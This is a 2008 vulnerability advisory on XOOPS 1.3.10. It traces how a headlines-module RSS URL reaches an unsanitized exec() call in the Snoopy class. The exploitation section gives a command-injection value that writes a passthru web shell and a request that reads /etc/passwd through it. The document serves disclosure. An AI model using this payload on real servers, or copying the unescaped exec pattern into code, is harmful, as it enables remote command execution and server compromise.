<<< Date Index >>>     <<< Thread Index >>>

xoops-1.3.10 shell command execute vulnerability ( causing snoopy class )



==
xoops-1.3.10 shell command execute vulnerability ( causing snoopy class )
==
Author: geinblues ( geinblues [at] gmail [dot] com )
DATE: 9.7.2008
Site: http://enterblue.net/~x90c/
Risk: Midium
==



[0] Vulnerability Tracing ( Tracing [BREAK 0] ~ [BREAK 6] )

~/xoops-1.3.10/html/class/snoopy.class.php
--------------------------------------------------------------------------------------------------------------------

function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
{
                ..      
                /* [BREAK 5]: $URI(sourceURl in vulnerable Moudle) is Ours 
injected parameter From below fetch() */
                $URI_PARTS = parse_url($URI);

                ..
                /* [BREAK 6]: $URI (vulerable parameter) If we can reach to 
below, Then We can execute system shell command */
                exec($this->curl_path." -D 
\"/tmp/$headerfile\"".$cmdline_params." ".$URI,$results,$return);

                ..
}


function fetch($URI)
{

                
//preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);
                $URI_PARTS = parse_url($URI);
                if (!empty($URI_PARTS["user"]))
                        $this->user = $URI_PARTS["user"];
                if (!empty($URI_PARTS["pass"]))
                        $this->pass = $URI_PARTS["pass"];

                switch($URI_PARTS["scheme"])
                {
                        case "http":
                                ..
                        case "https":   /* [BREAK 3] sourceURl's first 5Bytes ( 
https in [BREAK 0] ) */
                                if(!$this->curl_path || 
(!is_executable($this->curl_path)))
                                        return false;
                                $this->host = $URI_PARTS["host"];
                                if(!empty($URI_PARTS["port"]))
                                        $this->port = $URI_PARTS["port"];
                                if($this->_isproxy)
                                {
                                        // using proxy, send entire URI 
                                        
$this->_httpsrequest($URI,$URI,$this->_httpmethod);
                                }
                                else
                                {
                                        $path = 
$URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
                                        
                                        /* [BREAK 4] _httpsrequest(.., $URI, 
..); Here Our Supplied $URI(sourceURl) */
                                        // no proxy, send only the path 
                                        $this->_httpsrequest($path, $URI, 
$this->_httpmethod);
                                }

                        default:
                                ..
                }
                return true;
        }


--------------------------------------------------------------------------------------------------------------------
~/xoops-1.3.10/class/phpsyndication.lib.php

// | required: - PHP                                                          |
// |           - Snoopy (find it here: http://freshmeat.net/projects/snoopy)  |
        /* [BREAK 1] We can supply parameter from RSS file into sourceUrl 
firstly */
        class RSStoHTML
        {
                var $sourceUrl;         // location of the source RSS file      

        ..
        }

     /**
         * includes Snoopy class for remote file access
         */
        require(XOOPS_ROOT_PATH."/class/snoopy.class.php");
..
                function getData($forcecache=false)
                {
                        if(_PHPSYNDICATION_CONNECTED && $forcecache != true && 
(!file_exists($this->cacheDir.$this->cacheFile) || 
(filemtime($this->cacheDir.$this->cacheFile) + $this->cacheTimeout - time()) < 
0))
                        {
                                $snoopy = new Snoopy;
                
                                /* [BREAK 2] Here snoopy->fetch(sourceUrl from 
[BREAK 1]) member function calling */
                                $snoopy->fetch($this->sourceUrl);
                                $data = $snoopy->results;

                                $cacheFile = 
fopen($this->cacheDir.$this->cacheFile, "w");
                                fwrite($cacheFile, $data);
                                fclose($cacheFile);
                        }
                        // fsockopen failed the last time, so force cache
                        elseif ( $forcecache == true )
                        {
                                if 
(file_exists($this->cacheDir.$this->cacheFile)) {
                                        $data = implode('', 
file($this->cacheDir.$this->cacheFile));
                                        // set the modified time to a future 
time, and let the server have time to come up again
                                        touch($this->cacheDir.$this->cacheFile, 
time() + $this->cacheTimeout);
                                } else {
                                        $data = "";
                                }
                        } else {
                                $data = implode('', 
file($this->cacheDir.$this->cacheFile));
                        }
                        return $data;
                }

     function getHtml($fromcache=false)
                {
                        $data = $this->getData($fromcache);

..
     function getTitle($fromcache=false)
                {
                        $data = $this->getData($fromcache=false);

--------------------------------------------------------------------------------------------------------------------
~/xoops-1.3.10/html/modules/headlines/blocks/headlines.php

<?php

function b_headlines_show() {
        global $xoopsDB;
        $block = array();
        $block['title'] = _MB_HEADLINES_TITLE;
        $block['content'] = "";
        include(XOOPS_ROOT_PATH."/class/phpsyndication.lib.php");
        $cache_dir = XOOPS_ROOT_PATH."/modules/headlines/cache/";
        $cache_time = 3600;
        $max_items = 10;
        $result = $xoopsDB->query("SELECT hid, sitename, url, headlinesurl, 
status FROM ".$xoopsDB->prefix("headlines")." WHERE status=1 OR status=2");
        $xoopsDB->queryF("UPDATE ".$xoopsDB->prefix("headlines")." SET status=1 
WHERE status=2");
        while (list($hid, $sitename, $url, $headlinesurl, $status) = 
$xoopsDB->fetchRow($result)) {
                $cache_file = "newsheadline-$hid.cache";
                $block['content'] .= "<p>";
                // fsockopen was ok the last time, so do it again
                if ( $status == 2 ) {
                        $synd = new RSStoHTML($headlinesurl, $cache_dir, 
$cache_file, $cache_time, $max_items);
                        $block['content'] .= "<b>".$synd->getTitle()."</b><br 
/>";
                        $block['content'] .= $synd->getHtml();
                }
                // fsockopen did not return on the last attempt, so use cache
                elseif ( $status == 1 ) {
                        // change cache time to 1 day(24hrs) might be safer

                        /* [BREAK 0] RSStoHTML called when using this headlines 
module */
                        $synd = new RSStoHTML($headlinesurl, $cache_dir, 
$cache_file, 86400, $max_items);       

                        $block['content'] .= 
"<b>".$synd->getTitle(true)."</b><br />";
                        $block['content'] .= $synd->getHtml(true);
                }
                $block['content'] .= "</p>";
                // set status to 2(ok) for headlines that passed fsockopen or 
used cache
                $xoopsDB->queryF("UPDATE ".$xoopsDB->prefix("headlines")." SET 
status=2 WHERE hid=$hid");
        }
        return $block;
}
?>


[1] Exploitation:

A. (*)INTO DB: 
headlinesurl(headlines module table's field) = https://;`echo 
'<?passthru($cmd)?>' >> xox.php`

B. Browsing xoops pages for referencing headlines module ( at this time. our 
parameter reached to snoopy class's exec(??,$URI,??) )

C. 
IN WEB-BROWSER: 
http://victim/xoops-1.3.10/html/class/xox.php?cmd='cat /etc/passwd'

TODO : http://www.xoops.org/modules/news/archive.php
We can search more vulnerable modules else headlinesurl (default module) from 
above url.